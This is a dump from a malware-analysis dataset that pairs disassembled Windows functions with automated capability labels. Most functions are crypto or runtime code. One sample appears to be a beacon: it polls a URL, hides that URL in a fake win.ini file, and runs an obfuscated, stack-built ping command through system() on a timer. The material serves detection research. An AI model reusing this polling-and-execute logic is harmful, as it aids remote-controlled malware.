joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401999c0
Capabilities:
Encode data using xor

Disassembly:
push rbx
mov r9, rcx
mov r10, rdx
test r8, r8
je 0x140199b68
lea rax, [r8 - 1]
cmp rax, 0xe
jbe 0x140199b6c
mov rcx, r8
xor eax, eax
pxor xmm1, xmm1
and rcx, 0xfffffffffffffff0
nop dword [rax + rax]
movdqu xmm0, xmmword [r9 + rax]
movdqu xmm3, xmmword [r10 + rax]
add rax, 0x10
pxor xmm0, xmm3
por xmm1, xmm0
cmp rcx, rax
jne 0x1401999f0
movdqa xmm0, xmm1
psrldq xmm0, 8
por xmm0, xmm1
movdqa xmm2, xmm0
psrldq xmm2, 4
por xmm0, xmm2
movdqa xmm2, xmm0
psrldq xmm2, 2
por xmm0, xmm2
movdqa xmm2, xmm0
psrldq xmm2, 1
por xmm0, xmm2
movd eax, xmm0
movdqa xmm0, xmm1
psrldq xmm1, 8
por xmm1, xmm0
cmp r8, rcx
je 0x140199b5f
mov r11, r8
sub r11, rcx
lea rdx, [r11 - 1]
cmp rdx, 6
jbe 0x140199ad0
movq xmm0, qword [r9 + rcx]
movq xmm2, qword [r10 + rcx]
pxor xmm0, xmm2
por xmm0, xmm1
movq rdx, xmm0
mov rax, rdx
mov rbx, rdx
or al, dh
shr rbx, 0x10
or eax, ebx
mov rbx, rdx
shr rbx, 0x18
or eax, ebx
mov rbx, rdx
shr rbx, 0x20
or eax, ebx
mov rbx, rdx
shr rbx, 0x28
or eax, ebx
mov rbx, rdx
shr rdx, 0x38
shr rbx, 0x30
or eax, ebx
or eax, edx
mov rdx, r11
and rdx, 0xfffffffffffffff8
add rcx, rdx
and r11d, 7
je 0x140199b5f
movzx edx, byte [r9 + rcx]
xor dl, byte [r10 + rcx]
or eax, edx
lea rdx, [rcx + 1]
cmp rdx, r8
jae 0x140199b5f
movzx edx, byte [r10 + rcx + 1]
xor dl, byte [r9 + rcx + 1]
or eax, edx
lea rdx, [rcx + 2]
cmp rdx, r8
jae 0x140199b5f
movzx edx, byte [r9 + rcx + 2]
xor dl, byte [r10 + rcx + 2]
or eax, edx
lea rdx, [rcx + 3]
cmp rdx, r8
jae 0x140199b5f
movzx edx, byte [r9 + rcx + 3]
xor dl, byte [r10 + rcx + 3]
or eax, edx
lea rdx, [rcx + 4]
cmp rdx, r8
jae 0x140199b5f
movzx edx, byte [r9 + rcx + 4]
xor dl, byte [r10 + rcx + 4]
or eax, edx
lea rdx, [rcx + 5]
cmp rdx, r8
jae 0x140199b5f
movzx edx, byte [r9 + rcx + 5]
xor dl, byte [r10 + rcx + 5]
or eax, edx
lea rdx, [rcx + 6]
cmp rdx, r8
jae 0x140199b5f
movzx edx, byte [r9 + rcx + 6]
xor dl, byte [r10 + rcx + 6]
or eax, edx
movzx eax, al
pop rbx
ret
xor eax, eax
pop rbx
ret
pxor xmm1, xmm1
xor ecx, ecx
xor eax, eax
jmp 0x140199a5b

Function at 0x14019bf50
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
test rdx, rdx
je 0x14019bf90
lea r10, [rcx + rdx*8]
mov r8, 0xffffffffffffffff
mov rdx, qword [rcx]
mov r9, r8
add rcx, 8
mov rax, rdx
sub rdx, 1
not rax
and rax, rdx
sar rax, 0x3f
xor rax, r8
and rax, r9
xor r8, rax
cmp r10, rcx
jne 0x14019bf60
mov rax, r8
ret
mov r8, 0xffffffffffffffff
mov rax, r8
ret

Function at 0x14019bfa0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push rbx
mov r11, rcx
mov rbx, rdx
test r8, r8
je 0x14019bff0
xor ecx, ecx
mov r9, 0xffffffffffffffff
nop dword [rax]
mov rdx, qword [rbx + rcx*8]
xor rdx, qword [r11 + rcx*8]
mov r10, r9
add rcx, 1
mov rax, rdx
sub rdx, 1
not rax
and rax, rdx
sar rax, 0x3f
xor rax, r9
and rax, r10
xor r9, rax
cmp r8, rcx
jne 0x14019bfb8
mov rax, r9
pop rbx
ret
mov r9, 0xffffffffffffffff
mov rax, r9
pop rbx
ret
Function at 0x14019c000
Capabilities:
Encode data using xor

Disassembly:
test r8, r8
je 0x14019c060
xor rdx, qword [rcx]
mov rax, rdx
sub rdx, 1
not rax
and rax, rdx
sar rax, 0x3f
cmp r8, 1
je 0x14019c070
lea r11, [rcx + r8*8]
lea r9, [rcx + 8]
mov r8, 0xffffffffffffffff
nop
mov rcx, qword [r9]
mov r10, r8
add r9, 8
mov rdx, rcx
sub rcx, 1
not rdx
and rdx, rcx
sar rdx, 0x3f
xor rdx, r8
and rdx, r10
xor r8, rdx
cmp r11, r9
jne 0x14019c030
and rax, r8
ret
lea rax, [rdx - 1]
not rdx
and rax, rdx
sar rax, 0x3f
ret
mov r8, 0xffffffffffffffff
jmp 0x14019c059

Function at 0x14019c0d0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov rax, qword [rcx]
mov r9, rdx
xor edx, edx
cmp rax, r9
sbb rdx, 0
mov r10, rdx
and r10d, 1
sub r10, 1
mov rax, r10
not r10
sar rax, 0x3f
cmp r8, 1
je 0x14019c13c
lea r9, [rcx + 8]
lea r11, [rcx + r8*8]
mov rax, 0xffffffffffffffff
nop dword [rax]
mov rcx, qword [r9]
mov r8, rax
add r9, 8
mov rdx, rcx
sub rcx, 1
not rdx
and rdx, rcx
sar rdx, 0x3f
xor rdx, rax
and rdx, r8
xor rax, rdx
cmp r11, r9
jne 0x14019c110
xor rax, r10
mov rdx, r10
and rax, rdx
xor rax, r10
ret
Function at 0x14019e3d0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [rsp + 0x98]
mov rdi, qword [rsp + 0x90]
mov r13, rcx
mov rbp, r8
test rbx, rbx
je 0x14019e520
cmp rbx, rdx
jne 0x14019e520
lea rdx, [rbx + rbx]
xor eax, eax
cmp rdx, r9
jne 0x14019e50d
mov rax, qword [rsp + 0xa0]
mov r15, r8
xor r14d, r14d
xor esi, esi
mov r12, qword [rax]
nop word [rax + rax]
mov r8, qword [r15]
mov rcx, r15
mov rdx, rdi
mov r9, rbx
imul r8, r12
call fcn.14019e580
mov rcx, qword [r15 + rbx*8]
xor edx, edx
add rax, rsi
add rax, rcx
cmp rcx, rax
mov qword [r15 + rbx*8], rax
setne dl
or rdx, rsi
xor esi, esi
cmp rcx, rax
setae sil
add r14, 1
add r15, 8
and rsi, rdx
cmp r14, rbx
jb 0x14019e430
lea rcx, [rbp + rbx*8]
mov r8, qword [rdi]
mov rax, qword [rcx]
mov rdx, rax
sub rdx, r8
mov qword [r13], rdx
xor edx, edx
cmp rax, r8
sbb rdx, 0
and edx, 1
cmp rbx, 1
je 0x14019e4d2
mov eax, 1
nop dword [rax + rax]
mov r8, qword [rcx + rax*8]
xor r9d, r9d
sub r8, qword [rdi + rax*8]
sbb r9, 0
sub r8, rdx
sbb r9, 0
mov qword [r13 + rax*8], r8
add rax, 1
mov rdx, r9
and edx, 1
cmp rbx, rax
jne 0x14019e4a8
xor eax, eax
sub rsi, rdx
nop word [rax + rax]
mov r8, qword [r13 + rax*8]
mov rdx, qword [rcx + rax*8]
xor rdx, r8
and rdx, rsi
xor rdx, r8
mov qword [r13 + rax*8], rdx
mov qword [rcx + rax*8], 0
add rax, 1
cmp rax, rbx
jb 0x14019e4e0
mov eax, 1
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor eax, eax
jmp 0x14019e50d

Function at 0x14019e530
Capabilities:
Encode data using xor

Disassembly:
push rbx
mov r10d, 0x40
xor eax, eax
mov r8d, 1
movabs rbx, 0x8000000000000000
nop dword [rax]
mov rdx, r8
mov r11, rcx
shr rax, 1
and edx, 1
neg rdx
and r11, rdx
and rdx, rbx
mov r9, r11
add rax, rdx
xor r9, r8
and r8, r11
shr r9, 1
add r8, r9
sub r10, 1
jne 0x14019e550
pop rbx
ret
Function at 0x1401a84f0
Capabilities:
Encrypt data using curve25519

Disassembly:
movzx eax, byte [rcx + 0x1f]
and byte [rcx], 0xf8
and eax, 0x7f
or eax, 0x40
mov byte [rcx + 0x1f], al
ret
Function at 0x401f32
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x30], rcx
mov qword [rbp + 8], 0
mov qword [rbp], 0
mov ecx, 0
call fcn.00401560
mov rdx, rax
lea rax, [rbp - 0x30]
mov r8, rdx
lea rdx, str._t_ld
mov rcx, rax
call sub.msvcrt.dll_sprintf
mov rcx, qword [rbp + 0x30]
call sub.msvcrt.dll_strlen
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call sub.msvcrt.dll_strlen
add rax, rbx
add rax, 1
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rdx, qword [rbp + 0x30]
mov rcx, rax
call sub.msvcrt.dll_strcpy
lea rdx, [rbp - 0x30]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x402009
mov eax, 0
jmp 0x402113
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp + 8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x40204f
mov eax, 0
jmp 0x402113
mov dword [rbp - 0x34], 0
jmp 0x402062
mov eax, dword [rbp - 0x34]
mov eax, eax
mov byte [rbp + rax - 0x50], 0
lea rcx, [rbp - 0x34]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp]
mov r9, rcx
mov r8d, 0xf
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x40208e
mov eax, dword [rbp - 0x34]
test eax, eax
jne 0x402058
lea rcx, [rbp - 0x34]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp]
mov r9, rcx
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
jne 0x4020ba
mov eax, 0
jmp 0x402113
lea rax, [rbp - 0x50]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov r9d, 0
mov r8d, 0
mov edx, 0x27
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetSetOptionA]
call rax
mov dword [rbp - 0x14], eax
mov rax, qword [rbp]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
add rsp, 0x98
pop rbx
pop rbp
ret
Function at 0x40211d
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov ecx, 0
call fcn.00401560
mov qword [rbp - 0x10], rax
jmp 0x402251
cmp dword [rbp + 0x18], 1
jne 0x4021fe
mov dword [rbp - 0x23], 0x31206e
mov word [rbp - 0x26], 0x6e69
mov byte [rbp - 0x24], 0
mov dword [rbp - 0x2b], 0x73252036
mov byte [rbp - 0x27], 0
mov dword [rbp - 0x2f], 0x2d2067
lea rax, [rbp - 0x1f]
mov word [rax], 0x70
lea rdx, [rbp - 0x26]
lea rax, [rbp - 0x1f]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rdx, [rbp - 0x2f]
lea rax, [rbp - 0x1f]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rdx, [rbp - 0x23]
lea rax, [rbp - 0x1f]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rdx, [rbp - 0x2b]
lea rax, [rbp - 0x1f]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rdx, [rbp - 0x1f]
lea rax, [rbp - 0x60]
mov r8, qword [rbp + 0x10]
mov rcx, rax
call sub.msvcrt.dll_sprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, [rbp - 0x1f]
mov r8d, 0xe
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov ecx, 0xea60
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
cmp dword [rbp + 0x18], 2
jne 0x402251
mov dword [rbp - 4], 0
jmp 0x40223d
mov rcx, qword [rbp + 0x10]
call fcn.00401f32
mov byte [rbp - 0x11], al
movzx eax, byte [rbp - 0x11]
xor eax, 1
test al, al
je 0x40222b
mov eax, 0
jmp 0x40225f
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0x13
jle 0x40220d
mov ecx, 0x493e0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp + 0x20]
jl 0x402143
sub rsp, 0xffffffffffffff80
pop rbp
ret
Function at 0x402386
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 8], 0
mov qword [rbp - 0x10], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x4023da
mov eax, 0
jmp 0x402503
mov rax, qword [rbp - 8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2000
mov r9d, 0
mov r8d, 0
lea rdx, [0x00409a00]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x402423
mov eax, 0
jmp 0x402503
mov qword [rbp - 0x18], 0
mov dword [rbp - 0x1c], 0
mov edx, pe_nt_image_headers64
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x1c]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
jne 0x402478
mov eax, 0
jmp 0x402503
mov r9d, 0
mov r8d, 0
mov edx, 0x27
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetSetOptionW]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.msvcrt.dll_strlen
lea rdx, [rax + 1]
mov rax, qword [rbp - 0x18]
mov r8, rdx
mov rdx, rax
lea rax, [0x004099c0]
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rdx, rax
mov rax, qword [rbp - 0x18]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
add rsp, 0x50
pop rbp
ret
Function at 0x40254e
Capabilities:
Check internet connectivity via wininet

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov r8d, 0
mov edx, 1
lea rax, [0x00409a00]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCheckConnectionA]
call rax
test eax, eax
setne al
mov byte [rbp - 1], al
cmp byte [rbp - 1], 0
je 0x402646
lea rdx, [0x0040600b]
lea rcx, str.C:__Users__Public__Documents__win.ini
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
lea rdx, [0x00409a00]
mov rcx, rax
call sub.msvcrt.dll_fprintf
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_fclose
jmp 0x402646
call fcn.00402386
mov byte [rbp - 0x11], al
movzx eax, byte [rbp - 0x11]
xor eax, 1
test al, al
jne 0x402652
call fcn.00402509
lea rax, [0x004099c0]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp - 0x18], eax
cmp dword [rbp - 0x18], 0
je 0x402655
lea rax, [0x004099c0]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
lea rdx, [rbp - 0x30]
mov r8, rdx
mov rdx, rax
lea rax, [0x004099c0]
mov rcx, rax
call fcn.00401c2e
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
je 0x402658
mov rax, qword [rbp - 0x20]
mov rcx, rax
call fcn.00402265
mov byte [rbp - 0x21], al
cmp byte [rbp - 0x21], 0
jne 0x402643
jmp 0x402646
nop
jmp 0x402659
cmp byte [rbp - 1], 0
jne 0x4025c1
jmp 0x402659
nop
jmp 0x402659
nop
jmp 0x402659
nop
nop
add rsp, 0x50
pop rbp
ret
Function at 0x402dd0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00403fd0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00403fd0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x402e40
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x00409634]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x402fe8
mov rax, qword [0x00409638]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x402e8c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x402f17
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x402e70
mov rcx, r12
call fcn.00403ba0
mov rbp, rax
test rax, rax
je 0x403022
mov rax, qword [0x00409638]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.00403cd0
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00409638]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x403031
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x402f10
sub eax, 4
and eax, 0xfffffffb
jne 0x402fa0
add dword [0x00409634], 1
cmp ebx, 8
jae 0x402f48
test bl, 4
jne 0x402ff0
test ebx, ebx
je 0x402f39
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x403010
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x402f39
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x402f7a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x00409638]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x402f10
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00402dd0
nop dword [rax]
xor edi, edi
jmp 0x402e97
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x402f39
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x402f39
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.00402dd0
mov rax, qword [0x00409638]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.00402dd0
nop
nop dword [rax]
Function at 0x403810
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00409920]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00409900]
test rbx, rbx
je 0x403864
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40385b
test r12, r12
je 0x40385b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x403840
lea rcx, [0x00409920]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x403ba0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x004063f0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x403c19
mov rcx, r10
call fcn.00403a70
test eax, eax
je 0x403c19
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x403c16
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x403c0d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x403c19
add r8, 0x28
cmp r8, r9
jne 0x403bf8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x2fc4ceed0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4cffb0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4cf8d2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f2108]
test eax, eax
je 0x2fc4cf96a
lea rax, [0x2fc4f20e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f2110]
mov qword [rbp - 8], rax
jmp 0x2fc4cf94e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4cf942
cmp qword [rbp - 0x10], 0
je 0x2fc4cf942
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4cf908
lea rax, [0x2fc4f20e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4cf96b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4cfa70
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4cfa98
mov eax, 0
jmp 0x2fc4cfae6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4cfac1
mov eax, 0
jmp 0x2fc4cfae6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4cfae1
mov eax, 0
jmp 0x2fc4cfae6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4cfaec
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4cfb6a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4cfb61
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4cfb61
mov rax, qword [rbp - 8]
jmp 0x2fc4cfb7f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4cfb34
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d3840
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d4920
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d4242
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f6108]
test eax, eax
je 0x2fc4d42da
lea rax, [0x2fc4f60e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f6110]
mov qword [rbp - 8], rax
jmp 0x2fc4d42be
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d42b2
cmp qword [rbp - 0x10], 0
je 0x2fc4d42b2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
